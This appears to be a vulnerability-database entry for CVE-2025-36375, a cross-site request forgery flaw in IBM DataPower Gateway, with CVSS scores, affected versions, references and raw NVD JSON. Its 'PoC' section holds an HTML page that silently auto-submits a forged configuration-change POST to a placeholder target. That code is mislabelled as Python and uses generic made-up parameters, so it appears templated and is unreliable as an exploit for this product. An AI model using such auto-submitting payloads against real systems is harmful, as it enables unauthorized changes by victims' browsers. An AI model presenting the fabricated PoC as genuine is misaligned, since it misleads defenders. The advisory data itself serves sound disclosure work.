CVE-2025-36375

Description

IBM DataPower Gateway 10.6CD 10.6.1.0 through 10.6.5.0 and IBM DataPower Gateway 10.5.0 10.5.0.0 through 10.5.0.20 and IBM DataPower Gateway 10.6.0 10.6.0.0 through 10.6.0.8 IBM DataPower Gateway is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:datapower_gateway:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:ibm:datapower_gateway:*:*:*:*:continuous_delivery:*:*:* - VULNERABLE

IBM DataPower Gateway 10.5.0.0 through 10.5.0.20

IBM DataPower Gateway 10.6.0.0 through 10.6.0.8

IBM DataPower Gateway 10.6CD 10.6.1.0 through 10.6.5.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2025-36375: IBM DataPower Gateway CSRF
Description: This HTML page attempts to perform a configuration change on the target server by sending a forged POST request when the victim views the page.
-->
<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://<TARGET_IP>:<PORT>/mgmt/actionqueue/default" method="POST">
      <input type="hidden" name="operation" value="modify-config" />
      <input type="hidden" name="malicious_setting" value="attacker_controlled_value" />
      <input type="submit" value="Click me" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-36375
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-36375
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-36375/
[4] VulDB https://vuldb.com/cve/CVE-2025-36375
[5] https://www.ibm.com/support/pages/node/7268034

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-36375", "sourceIdentifier": "[email protected]", "published": "2026-04-01T23:17:01.323", "lastModified": "2026-04-06T16:30:41.043", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM DataPower Gateway 10.6CD 10.6.1.0 through 10.6.5.0 and IBM DataPower Gateway 10.5.0 10.5.0.0 through 10.5.0.20 and IBM DataPower Gateway 10.6.0 10.6.0.0 through 10.6.0.8 IBM DataPower Gateway is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:datapower_gateway:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.5.0.0", "versionEndExcluding": "10.5.0.21", "matchCriteriaId": "CE32BDC7-B268-4779-A283-F94DCF1433D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:datapower_gateway:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.6.0.0", "versionEndExcluding": "10.6.0.9", "matchCriteriaId": "9036053D-6E1A-4B2F-ACCA-5E3F4443F73E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:datapower_gateway:*:*:*:*:continuous_delivery:*:*:*", "versionStartIncluding": "10.6.1.0", "versionEndExcluding": "10.6.6.0", "matchCriteriaId": "E75118C5-5C01-404E-B857-56B9D6CA2119"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7268034", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}